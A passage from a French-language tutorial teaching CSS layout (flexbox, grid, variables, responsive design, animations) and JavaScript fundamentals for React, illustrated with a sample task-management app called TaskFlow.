    width: 200px -> TOTAL = 200px (padding et border INCLUS)
  
  Sans border-box (défaut) :
    width: 200px -> TOTAL = 200px + padding + border (surprenant !)

  TOUJOURS utiliser box-sizing: border-box en CSS moderne.
  React applique souvent ça par défaut via le CSS reset.

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
2.5 — FLEXBOX — MISE EN PAGE MODERNE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Flexbox est le système de mise en page le plus utilisé en React.
Il permet d'aligner et distribuer des éléments facilement.

ACTIVER FLEXBOX :
  .container {
    display: flex;
  }

PROPRIÉTÉS DU CONTENEUR (parent) :

  flex-direction: row;          /* Horizontal (défaut) */
  flex-direction: column;       /* Vertical */
  flex-direction: row-reverse;  /* Horizontal inversé */

  justify-content: flex-start;    /* Alignement axe principal (gauche) */
  justify-content: flex-end;      /* Droite */
  justify-content: center;        /* Centre */
  justify-content: space-between; /* Espace entre (utilisé très souvent) */
  justify-content: space-around;  /* Espace autour */
  justify-content: space-evenly;  /* Espace égal */

  align-items: stretch;     /* Étire (défaut) */
  align-items: flex-start;  /* Haut */
  align-items: flex-end;    /* Bas */
  align-items: center;      /* Centre (TRÈS utilisé) */
  align-items: baseline;    /* Baseline du texte */

  flex-wrap: nowrap;    /* Pas de retour à la ligne (défaut) */
  flex-wrap: wrap;      /* Retour à la ligne */

  gap: 16px;            /* Espace entre les enfants */
  gap: 8px 16px;        /* Espace ligne / colonne */

PROPRIÉTÉS DES ENFANTS (items) :

  flex-grow: 1;     /* Prend l'espace disponible */
  flex-shrink: 0;   /* Ne rétrécit pas */
  flex-basis: 200px;  /* Taille de base */
  flex: 1;          /* Raccourci : grow=1, shrink=1, basis=0 */

  align-self: center;  /* Override de align-items pour cet élément */
  order: 2;            /* Ordre d'affichage */

EXEMPLE PRATIQUE — Barre de navigation TaskFlow :

  .navbar {
    display: flex;
    justify-content: space-between;  /* Logo à gauche, menu à droite */
    align-items: center;             /* Centré verticalement */
    padding: 0 24px;
    height: 64px;
    background: #1e1b4b;
  }

  .navbar__logo {
    flex-shrink: 0;  /* Le logo ne rétrécit jamais */
  }

  .navbar__menu {
    display: flex;
    gap: 32px;        /* Espace entre les liens */
    list-style: none;
    margin: 0;
    padding: 0;
  }

CENTRER UN ÉLÉMENT (pattern le plus utilisé) :
  .center-container {
    display: flex;
    justify-content: center;
    align-items: center;
    min-height: 100vh;  /* Toute la hauteur de l'écran */
  }

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
2.6 — CSS GRID — LAYOUT COMPLEXE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Grid est idéal pour les layouts 2D (lignes ET colonnes).
Parfait pour les dashboards, les galeries, les layouts page entière.

ACTIVER GRID :
  .grid {
    display: grid;
  }

DÉFINIR LES COLONNES :
  grid-template-columns: 250px 1fr;        /* Sidebar + contenu */
  grid-template-columns: 1fr 1fr 1fr;      /* 3 colonnes égales */
  grid-template-columns: repeat(3, 1fr);   /* Identique au dessus */
  grid-template-columns: repeat(auto-fill, minmax(300px, 1fr));
    /* Auto-fill : autant de colonnes que possible, min 300px */

LIGNES :
  grid-template-rows: 64px 1fr 48px;  /* Header, content, footer */

ESPACEMENT :
  gap: 24px;
  column-gap: 32px;
  row-gap: 16px;

PLACEMENT DES ÉLÉMENTS :
  .sidebar {
    grid-column: 1;     /* Première colonne */
    grid-row: 1 / -1;  /* De la première à la dernière ligne */
  }

  .hero {
    grid-column: 1 / 3;  /* De la col 1 à 3 (span 2 colonnes) */
    grid-column: span 2; /* Identique (plus lisible) */
  }

LAYOUT DASHBOARD COMPLET :

  .app-layout {
    display: grid;
    grid-template-columns: 250px 1fr;
    grid-template-rows: 64px 1fr;
    min-height: 100vh;
  }

  .header {
    grid-column: 1 / -1;  /* Tout en haut, full width */
  }

  .sidebar {
    grid-column: 1;
    grid-row: 2;
    background: #1e1b4b;
  }

  .main-content {
    grid-column: 2;
    grid-row: 2;
    overflow-y: auto;
  }

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
2.7 — CSS VARIABLES (CUSTOM PROPERTIES)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Les variables CSS sont ESSENTIELLES pour un design system cohérent.
Elles permettent de centraliser les valeurs (couleurs, espacements).

DÉCLARATION :
  :root {
    /* Couleurs primaires */
    --color-primary: #4f46e5;
    --color-primary-hover: #4338ca;
    --color-primary-light: #eef2ff;

    /* Couleurs sémantiques */
    --color-success: #10b981;
    --color-warning: #f59e0b;
    --color-error: #ef4444;
    --color-info: #3b82f6;

    /* Texte */
    --color-text-primary: #111827;
    --color-text-secondary: #6b7280;
    --color-text-muted: #9ca3af;

    /* Backgrounds */
    --color-bg-primary: #ffffff;
    --color-bg-secondary: #f9fafb;
    --color-bg-tertiary: #f3f4f6;

    /* Bordures */
    --color-border: #e5e7eb;
    --color-border-focus: #4f46e5;

    /* Espacements */
    --spacing-xs: 4px;
    --spacing-sm: 8px;
    --spacing-md: 16px;
    --spacing-lg: 24px;
    --spacing-xl: 32px;
    --spacing-2xl: 48px;

    /* Typographie */
    --font-family: 'Inter', -apple-system, sans-serif;
    --font-size-sm: 14px;
    --font-size-md: 16px;
    --font-size-lg: 18px;
    --font-size-xl: 24px;
    --font-size-2xl: 32px;

    /* Border radius */
    --radius-sm: 4px;
    --radius-md: 8px;
    --radius-lg: 12px;
    --radius-full: 9999px;

    /* Ombres */
    --shadow-sm: 0 1px 2px rgba(0,0,0,0.05);
    --shadow-md: 0 4px 6px rgba(0,0,0,0.07);
    --shadow-lg: 0 10px 15px rgba(0,0,0,0.1);

    /* Transitions */
    --transition-fast: 0.15s ease;
    --transition-normal: 0.2s ease;
    --transition-slow: 0.3s ease;
  }

UTILISATION :
  .btn-primary {
    background-color: var(--color-primary);
    color: white;
    padding: var(--spacing-sm) var(--spacing-md);
    border-radius: var(--radius-md);
    font-family: var(--font-family);
    transition: background-color var(--transition-fast);
  }

  .btn-primary:hover {
    background-color: var(--color-primary-hover);
  }

THÈME SOMBRE (Dark Mode) :
  @media (prefers-color-scheme: dark) {
    :root {
      --color-bg-primary: #111827;
      --color-bg-secondary: #1f2937;
      --color-text-primary: #f9fafb;
      --color-text-secondary: #d1d5db;
      --color-border: #374151;
    }
  }

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
2.8 — RESPONSIVE DESIGN & MEDIA QUERIES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Le responsive design permet à l'interface de s'adapter à toutes les tailles d'écran.

BREAKPOINTS STANDARD :
  /* Mobile First (recommandé) */
  /* Base : mobile (< 640px) */

  @media (min-width: 640px)  { /* sm  : tablette portrait */ }
  @media (min-width: 768px)  { /* md  : tablette paysage  */ }
  @media (min-width: 1024px) { /* lg  : desktop           */ }
  @media (min-width: 1280px) { /* xl  : grand écran       */ }
  @media (min-width: 1536px) { /* 2xl : très grand écran  */ }

EXEMPLE — Dashboard responsive :

  /* Mobile : layout 1 colonne */
  .dashboard-grid {
    display: grid;
    grid-template-columns: 1fr;
    gap: 16px;
  }

  /* Tablette : 2 colonnes */
  @media (min-width: 768px) {
    .dashboard-grid {
      grid-template-columns: repeat(2, 1fr);
    }
  }

  /* Desktop : 4 colonnes */
  @media (min-width: 1024px) {
    .dashboard-grid {
      grid-template-columns: repeat(4, 1fr);
    }
  }

SIDEBAR MOBILE :

  /* Mobile : sidebar cachée */
  .sidebar {
    transform: translateX(-100%);
    position: fixed;
    top: 0;
    left: 0;
    height: 100vh;
    z-index: 100;
    transition: transform var(--transition-normal);
  }

  .sidebar.open {
    transform: translateX(0);
  }

  /* Desktop : sidebar visible */
  @media (min-width: 1024px) {
    .sidebar {
      position: static;
      transform: none;
    }
  }

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
2.9 — ANIMATIONS ET TRANSITIONS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

TRANSITIONS (changement d'état) :
  .btn {
    background: var(--color-primary);
    transition: background-color 0.2s ease,
                transform 0.1s ease,
                box-shadow 0.2s ease;
  }

  .btn:hover {
    background: var(--color-primary-hover);
    transform: translateY(-1px);
    box-shadow: var(--shadow-md);
  }

  .btn:active {
    transform: translateY(0);
  }

ANIMATIONS (@keyframes) :

  /* Animation d'apparition */
  @keyframes fadeIn {
    from {
      opacity: 0;
      transform: translateY(8px);
    }
    to {
      opacity: 1;
      transform: translateY(0);
    }
  }

  /* Animation de chargement (spinner) */
  @keyframes spin {
    from { transform: rotate(0deg); }
    to   { transform: rotate(360deg); }
  }

  /* Animation pulse (notification) */
  @keyframes pulse {
    0%, 100% { opacity: 1; }
    50%       { opacity: 0.5; }
  }

UTILISATION :
  .task-card {
    animation: fadeIn 0.3s ease forwards;
  }

  .spinner {
    animation: spin 1s linear infinite;
  }

  .notification-dot {
    animation: pulse 2s ease infinite;
  }

ANIMATION EN STAGGER (entrée successive) :
  .task-list .task-card:nth-child(1) { animation-delay: 0ms; }
  .task-list .task-card:nth-child(2) { animation-delay: 50ms; }
  .task-list .task-card:nth-child(3) { animation-delay: 100ms; }
  /* En React, on calcule le delay dynamiquement : */
  /* style={{ animationDelay: `${index * 50}ms` }} */

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
2.10 — CSS COMPLET POUR TASKFLOW
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Voici le CSS de base de TaskFlow (page de connexion) :

  /* ===== RESET & BASE ===== */
  *, *::before, *::after {
    box-sizing: border-box;
    margin: 0;
    padding: 0;
  }

  html {
    font-size: 16px;
    -webkit-text-size-adjust: 100%;
  }

  body {
    font-family: var(--font-family);
    color: var(--color-text-primary);
    background: var(--color-bg-secondary);
    line-height: 1.5;
    -webkit-font-smoothing: antialiased;
  }

  img {
    max-width: 100%;
    height: auto;
    display: block;
  }

  /* ===== LAYOUT LOGIN ===== */
  .login-page {
    min-height: 100vh;
    display: flex;
    align-items: center;
    justify-content: center;
    padding: var(--spacing-md);
  }

  .login-card {
    background: var(--color-bg-primary);
    border-radius: var(--radius-lg);
    box-shadow: var(--shadow-lg);
    padding: var(--spacing-2xl);
    width: 100%;
    max-width: 420px;
    animation: fadeIn 0.4s ease;
  }

  /* ===== LOGO ===== */
  .login-logo {
    display: flex;
    align-items: center;
    gap: var(--spacing-sm);
    margin-bottom: var(--spacing-xl);
  }

  .login-logo img {
    width: 32px;
    height: 32px;
  }

  .login-logo span {
    font-size: var(--font-size-xl);
    font-weight: 700;
    color: var(--color-primary);
  }

  /* ===== TITRES ===== */
  .login-title {
    font-size: var(--font-size-2xl);
    font-weight: 700;
    color: var(--color-text-primary);
    margin-bottom: var(--spacing-xs);
  }

  .login-subtitle {
    color: var(--color-text-secondary);
    margin-bottom: var(--spacing-xl);
  }

  /* ===== FORMULAIRE ===== */
  .form-group {
    margin-bottom: var(--spacing-md);
  }

  .form-label {
    display: block;
    font-size: var(--font-size-sm);
    font-weight: 500;
    color: var(--color-text-primary);
    margin-bottom: var(--spacing-xs);
  }

  .form-input {
    width: 100%;
    padding: 10px var(--spacing-md);
    border: 1px solid var(--color-border);
    border-radius: var(--radius-md);
    font-size: var(--font-size-md);
    font-family: var(--font-family);
    color: var(--color-text-primary);
    background: var(--color-bg-primary);
    transition: border-color var(--transition-fast),
                box-shadow var(--transition-fast);
    outline: none;
  }

  .form-input:focus {
    border-color: var(--color-border-focus);
    box-shadow: 0 0 0 3px rgba(79, 70, 229, 0.15);
  }

  .form-input.error {
    border-color: var(--color-error);
  }

  .form-input.error:focus {
    box-shadow: 0 0 0 3px rgba(239, 68, 68, 0.15);
  }

  .form-error {
    display: block;
    font-size: var(--font-size-sm);
    color: var(--color-error);
    margin-top: var(--spacing-xs);
  }

  /* ===== BOUTONS ===== */
  .btn {
    display: inline-flex;
    align-items: center;
    justify-content: center;
    gap: var(--spacing-sm);
    padding: 10px var(--spacing-md);
    border-radius: var(--radius-md);
    font-size: var(--font-size-md);
    font-weight: 500;
    font-family: var(--font-family);
    cursor: pointer;
    border: none;
    transition: all var(--transition-fast);
    text-decoration: none;
  }

  .btn-primary {
    background: var(--color-primary);
    color: white;
    width: 100%;
  }

  .btn-primary:hover {
    background: var(--color-primary-hover);
    transform: translateY(-1px);
    box-shadow: var(--shadow-md);
  }

  .btn-primary:active {
    transform: translateY(0);
  }

  .btn-primary:disabled {
    opacity: 0.6;
    cursor: not-allowed;
    transform: none;
  }

  /* ===== LOADING STATE ===== */
  .btn-loading {
    position: relative;
    color: transparent;
  }

  .btn-loading::after {
    content: '';
    position: absolute;
    width: 16px;
    height: 16px;
    border: 2px solid rgba(255,255,255,0.3);
    border-top-color: white;
    border-radius: 50%;
    animation: spin 0.8s linear infinite;
  }


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 3 : JAVASCRIPT — LOGIQUE ET INTERACTIVITÉ
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
3.1 — QU'EST-CE QUE JAVASCRIPT ?
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

JavaScript (JS) est le SEUL langage de programmation du navigateur web.
Il rend les pages web INTERACTIVES et DYNAMIQUES.

React est écrit EN JavaScript. Tout ce que React fait, c'est du JS optimisé.
Sans JS solide, tu ne peux pas maîtriser React.

JavaScript est :
  • Un langage interprété (pas compilé)
  • Dynamiquement typé (les variables changent de type)
  • À la fois synchrone et asynchrone
  • Basé sur les prototypes (pas des classes classiques)
  • Monothread (un seul thread d'exécution)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
3.2 — VARIABLES ET TYPES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

DÉCLARATION DE VARIABLES :

  var nomVariable = valeur;    // <- ANCIEN. Éviter (scope problématique)
  let nomVariable = valeur;    // <- Moderne. Peut être réassignée
  const nomVariable = valeur;  // <- Moderne. Ne peut PAS être réassignée

  RÈGLE : Utiliser TOUJOURS const par défaut.
          N'utiliser let QUE si la variable doit changer.
          Ne JAMAIS utiliser var.

  // BONNE PRATIQUE :
  const userId = 42;              // Constante, ne change pas
  const userName = "Alice";
  let taskCount = 0;              // Compteur qui va évoluer
  taskCount++;                    // OK

  const tasks = [];               // Tableau const : le tableau est const
  tasks.push("Nouvelle tâche");   // MAIS le contenu peut changer !
  // tasks = [];                  // <- ERREUR : on ne peut pas réassigner

LES TYPES DE DONNÉES :

  // String (chaîne de caractères)
  const name = "Alice";
  const message = 'Bonjour ' + name;    // Concaténation
  const template = `Bonjour ${name} !`; // Template literal (ES6)

  // Number (nombre)
  const age = 25;
  const price = 9.99;
  const pi = 3.14159;
  const infinity = Infinity;
  const notANumber = NaN;  // Résultat d'une opération invalide

  // Boolean
  const isLoggedIn = true;
  const hasPermission = false;

  // null (absence intentionnelle de valeur)
  const selectedTask = null;

  // undefined (variable déclarée mais pas assignée)
  let pendingResult;
  console.log(pendingResult); // undefined

  // Array (tableau)
  const tasks = ["Tâche A", "Tâche B", "Tâche C"];
  const numbers = [1, 2, 3, 4, 5];
  const mixed = [1, "deux", true, null];  // Peut mélanger les types

  // Object (objet)
  const user = {
    id: 1,
    name: "Alice Martin",
    email: "alice@taskflow.app",
    role: "admin",
    isActive: true,
    createdAt: new Date("2024-01-15"),
    preferences: {
      theme: "dark",
      language: "fr"
    }
  };

  // Symbol (identifiant unique)
  const uniqueId = Symbol("task");

  // BigInt (grands entiers)
  const bigNumber = 9007199254740991n;

VÉRIFICATION DE TYPE :
  typeof "Alice"      // "string"
  typeof 42           // "number"
  typeof true         // "boolean"
  typeof undefined    // "undefined"
  typeof null         // "object" <- BUG HISTORIQUE JS !!
  typeof []           // "object"
  typeof {}           // "object"
  typeof function(){}  // "function"

  Array.isArray([])   // true  <- Vérifier si c'est un tableau

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
3.3 — OPÉRATEURS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

ARITHMÉTIQUES :
  +   Addition / Concaténation
  -   Soustraction
  *   Multiplication
  /   Division
  %   Modulo (reste de division)
  **  Puissance (ES2016)
  ++  Incrément
  --  Décrément

COMPARAISON :
  ==   Égalité (avec coercion) <- ÉVITER
  ===  Égalité stricte (type ET valeur) <- TOUJOURS UTILISER
  !=   Différence (avec coercion) <- ÉVITER
  !==  Différence stricte <- TOUJOURS UTILISER
  >    Supérieur
  <    Inférieur
  >=   Supérieur ou égal
  <=   Inférieur ou égal

  Exemples :
    "5" == 5    // true  (coercion de type)
    "5" === 5   // false (types différents)
    null == undefined   // true
    null === undefined  // false

LOGIQUES :
  &&  ET logique
  ||  OU logique
  !   NON logique
  ??  Nullish coalescing (ES2020)

  // AND : les deux conditions doivent être vraies
  if (isLoggedIn && hasPermission) { ... }

  // OR : au moins une condition vraie
  if (isAdmin || isModerator) { ... }

  // NOT : inverse
  if (!isLoading) { ... }

  // Nullish coalescing : valeur par défaut si null/undefined
  const name = user.name ?? "Anonyme";
  // Différent de || qui prend la valeur par défaut si falsy (0, "", false...)

  // Opérateur ternaire (inline if)
  const label = isActive ? "Actif" : "Inactif";

  // Optional chaining (ES2020) - CRUCIAL EN REACT
  const city = user?.address?.city;
  // Sans ça : user && user.address && user.address.city
  // Si user est null/undefined -> retourne undefined (pas d'erreur)

ASSIGNATION :
  =    Assignation simple
  +=   x += 5  ->  x = x + 5
  -=   x -= 5  ->  x = x - 5
  *=   x *= 2  ->  x = x * 2
  /=   x /= 2  ->  x = x / 2
  ??=  x ??= "default"  ->  si x est null/undefined, x = "default"

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
3.4 — STRUCTURES DE CONTRÔLE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CONDITIONNEL IF/ELSE :
  if (condition) {
    // Exécuté si condition est true
  } else if (autreCondition) {
    // Exécuté si autreCondition est true
  } else {
    // Exécuté sinon
  }

SWITCH :
  switch (status) {
    case 'todo':
      return '[LISTE] À faire';
    case 'in_progress':
      return '[RAPIDE] En cours';
    case 'done':
      return '[OK] Terminé';
    case 'cancelled':
      return '[X] Annulé';
    default:
      return '[?] Inconnu';
  }

BOUCLES :

  // For classique
  for (let i = 0; i < 10; i++) {
    console.log(i);
  }

  // For...of (itérer sur un tableau)
  for (const task of tasks) {
    console.log(task.title);
  }

  // For...in (itérer sur les clés d'un objet)
  for (const key in userPreferences) {
    console.log(key, userPreferences[key]);
  }

  // While
  let attempts = 0;
  while (attempts < 3) {
    sendRequest();
    attempts++;
  }

  // Do...while (exécuté AU MOINS une fois)
  do {
    askForInput();
  } while (!isValid);

CONTRÔLE DE FLUX :
  break;     // Sortir de la boucle
  continue;  // Passer à l'itération suivante
  return;    // Sortir de la fonction (et retourner une valeur)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
3.5 — FONCTIONS — ESSENTIEL POUR REACT
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

En React, TOUT est une fonction. Les composants React sont des fonctions.

DÉCLARATION DE FONCTION (function declaration) :
  function greet(name) {
    return `Bonjour, ${name} !`;
  }

  const message = greet("Alice");
  console.log(message); // "Bonjour, Alice !"

EXPRESSION DE FONCTION (function expression) :
  const greet = function(name) {
    return `Bonjour, ${name} !`;
  };

ARROW FUNCTION (ES6) — LA PLUS UTILISÉE EN REACT :
  const greet = (name) => {
    return `Bonjour, ${name} !`;
  };

  // Raccourci (return implicite si 1 ligne) :
  const greet = (name) => `Bonjour, ${name} !`;

  // Un seul paramètre -> parenthèses optionnelles :
  const double = n => n * 2;

  // Retourner un objet (parenthèses obligatoires) :
  const createUser = (name) => ({ name, role: 'user' });

PARAMÈTRES PAR DÉFAUT :
  function createTask(title, priority = 'medium', status = 'todo') {
    return { title, priority, status };
  }

  createTask("Fix bug");              // priority='medium', status='todo'
  createTask("Deploy", "high");       // priority='high', status='todo'

REST PARAMETERS :
  function sum(...numbers) {
    return numbers.reduce((total, n) => total + n, 0);
  }

  sum(1, 2, 3, 4, 5);  // 15

FONCTIONS COMME VALEURS (callbacks) :
  // Une fonction peut être passée comme argument (callback)
  const tasks = [
    { id: 1, title: "Task A", priority: "high" },
    { id: 2, title: "Task B", priority: "low" },
  ];

  // Passer une fonction comme argument à une autre fonction :
  const highPriority = tasks.filter(function(task) {
    return task.priority === 'high';
  });

  // Avec arrow function (STYLE REACT) :
  const highPriority = tasks.filter(task => task.priority === 'high');

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
3.6 — MÉTHODES DE TABLEAU — CRUCIAL POUR REACT
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

En React, on affiche souvent des listes avec .map(). Ces méthodes sont
INDISPENSABLES. Elles retournent toutes un NOUVEAU tableau (immutabilité).

DONNÉES D'EXEMPLE :
  const tasks = [
    { id: 1, title: "Créer le dashboard", status: "done",    priority: "high",   assignee: "Alice" },
    { id: 2, title: "Implémenter l'auth", status: "in_prog", priority: "high",   assignee: "Bob"   },
    { id: 3, title: "Tests unitaires",   status: "todo",     priority: "medium", assignee: "Alice" },
    { id: 4, title: "Documentation",     status: "todo",     priority: "low",    assignee: "Carol" },
    { id: 5, title: "Déploiement CI/CD", status: "in_prog",  priority: "high",   assignee: "Bob"   },
  ];

.map() — TRANSFORMER chaque élément :
  // Crée un NOUVEAU tableau transformé
  const taskTitles = tasks.map(task => task.title);
  // ["Créer le dashboard", "Implémenter l'auth", ...]

  // En React (affichage de liste) :
  const taskElements = tasks.map(task => (
    <li key={task.id}>{task.title}</li>  // key est OBLIGATOIRE en React
  ));

.filter() — FILTRER les éléments :
  // Retourne un nouveau tableau avec seulement les éléments qui passent le test
  const highPriorityTasks = tasks.filter(task => task.priority === 'high');
  // [task1, task2, task5]

  const aliceTasks = tasks.filter(task => task.assignee === 'Alice');
  // [task1, task3]

.find() — TROUVER un élément :
  // Retourne le PREMIER élément qui passe le test (ou undefined)
  const task = tasks.find(t => t.id === 3);
  // { id: 3, title: "Tests unitaires", ... }

.findIndex() — TROUVER l'index :
  const index = tasks.findIndex(t => t.id === 3);
  // 2

.reduce() — ACCUMULER/RÉDUIRE :
  // Powerful : peut produire n'importe quel résultat
  const totalTasks = tasks.reduce((count, task) => count + 1, 0);
  // 5

  // Compter par statut :
  const countByStatus = tasks.reduce((acc, task) => {
    acc[task.status] = (acc[task.status] || 0) + 1;
    return acc;
  }, {});
  // { done: 1, in_prog: 2, todo: 2 }

.some() — AU MOINS UN élément passe :
  const hasHighPriority = tasks.some(t => t.priority === 'high');
  // true

.every() — TOUS les éléments passent :
  const allDone = tasks.every(t => t.status === 'done');
  // false

.sort() — TRIER (ATTENTION : modifie le tableau original !) :
  // En React, toujours créer une copie avant de trier :
  const sorted = [...tasks].sort((a, b) => {
    // Tri alphabétique par titre
    return a.title.localeCompare(b.title);
  });

  // Tri par priorité (custom) :
  const priorityOrder = { critical: 0, high: 1, medium: 2, low: 3 };
  const sortedByPriority = [...tasks].sort((a, b) => {
    return priorityOrder[a.priority] - priorityOrder[b.priority];
  });

.flat() / .flatMap() :
  const nested = [[1, 2], [3, 4], [5]];
  nested.flat();     // [1, 2, 3, 4, 5]

  // flatMap = map + flat
  const words = [["bonjour", "monde"], ["react", "js"]];
  words.flatMap(arr => arr);  // ["bonjour", "monde", "react", "js"]

.includes() :
  const statuses = ['todo', 'in_progress', 'done'];
  statuses.includes('done');    // true
  statuses.includes('deleted'); // false

.slice() — EXTRAIRE sans modifier :
  const firstThree = tasks.slice(0, 3);  // tasks[0], tasks[1], tasks[2]
  const lastTwo = tasks.slice(-2);       // Les 2 derniers

.splice() — MODIFIER (ÉVITER EN REACT) :
  // Modifie le tableau original -> utiliser filter/map en React
  tasks.splice(1, 1);  // Supprime 1 élément à l'index 1

CHAÎNER LES MÉTHODES (pattern React courant) :
  const result = tasks
    .filter(task => task.assignee === 'Alice')
    .filter(task => task.status !== 'done')
    .sort((a, b) => a.title.localeCompare(b.title))
    .map(task => task.title);
  // ["Tests unitaires"] (Alice, pas done, trié)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
3.7 — OBJETS JAVASCRIPT
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CRÉER UN OBJET :
  const user = {
    id: 1,
    name: "Alice",
    email: "alice@taskflow.app",
    role: "admin"
  };

ACCÉDER AUX PROPRIÉTÉS :
  user.name          // "Alice" (notation point)
  user["name"]       // "Alice" (notation bracket)
  user["role"]       // "admin"

  // Notation bracket utile pour clés dynamiques :
  const key = "name";
  user[key];         // "Alice"

MODIFIER UN OBJET :
  user.name = "Alice Martin";
  user["email"] = "alice.martin@taskflow.app";
  user.createdAt = new Date();   // Ajouter une nouvelle propriété

SUPPRIMER UNE PROPRIÉTÉ :
  delete user.role;

VÉRIFIER L'EXISTENCE :
  "name" in user        // true
  "phone" in user       // false
  user.hasOwnProperty("name")  // true

MÉTHODES UTILES :
  Object.keys(user)     // ["id", "name", "email", "role"]
  Object.values(user)   // [1, "Alice", "alice@...", "admin"]
  Object.entries(user)  // [["id", 1], ["name", "Alice"], ...]

COPIER UN OBJET :
  // Copie superficielle (shallow) :
  const copy = { ...user };
  const copy2 = Object.assign({}, user);

  // Copie profonde (deep) :
  const deepCopy = JSON.parse(JSON.stringify(user));
  // Limité : ne gère pas les fonctions, Date, Symbol

  // Meilleure solution (modern) :
  const deepCopy2 = structuredClone(user);

FUSIONNER DES OBJETS :
  const defaults = { theme: "light", language: "fr" };
  const userPrefs = { theme: "dark" };
  const merged = { ...defaults, ...userPrefs };
  // { theme: "dark", language: "fr" }  <- userPrefs écrase defaults

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
3.8 — GESTION D'ERREURS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

TRY/CATCH/FINALLY :
  try {
    // Code qui peut échouer
    const data = JSON.parse(invalidJSON);
    const result = riskyOperation();
  } catch (error) {
    // Gestion de l'erreur
    console.error("Erreur :", error.message);
    console.error("Stack :", error.stack);
  } finally {
    // Toujours exécuté (succès ou échec)
    setLoading(false);
  }

TYPES D'ERREURS :
  Error          -> Erreur générique
  TypeError      -> Mauvais type (null.property)
  RangeError     -> Valeur hors limites
  ReferenceError -> Variable non définie
  SyntaxError    -> Erreur de syntaxe JSON
  NetworkError   -> Erreur réseau (fetch)

CRÉER SES PROPRES ERREURS :
  class TaskFlowError extends Error {
    constructor(message, code, statusCode) {
      super(message);
      this.name = 'TaskFlowError';
      this.code = code;
      this.statusCode = statusCode;
    }
  }

  throw new TaskFlowError(
    "Utilisateur non autorisé",
    "UNAUTHORIZED",
    401
  );

DANS UN CONTEXTE ASYNC (crucial pour React) :
  const fetchTasks = async () => {
    try {
      const response = await fetch('/api/tasks');
      if (!response.ok) {
        throw new Error(`HTTP ${response.status}: ${response.statusText}`);
      }
      const tasks = await response.json();
      return tasks;
    } catch (error) {
      if (error.name === 'TypeError') {
        // Erreur réseau (pas de connexion)
        console.error('Pas de connexion réseau');
      } else {
        console.error('Erreur API:', error.message);
      }
      throw error; // Re-throw pour le composant React
    }
  };


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 4 : ES6+ — JAVASCRIPT MODERNE
════════════════════════════════════════════════════════════════════════════════

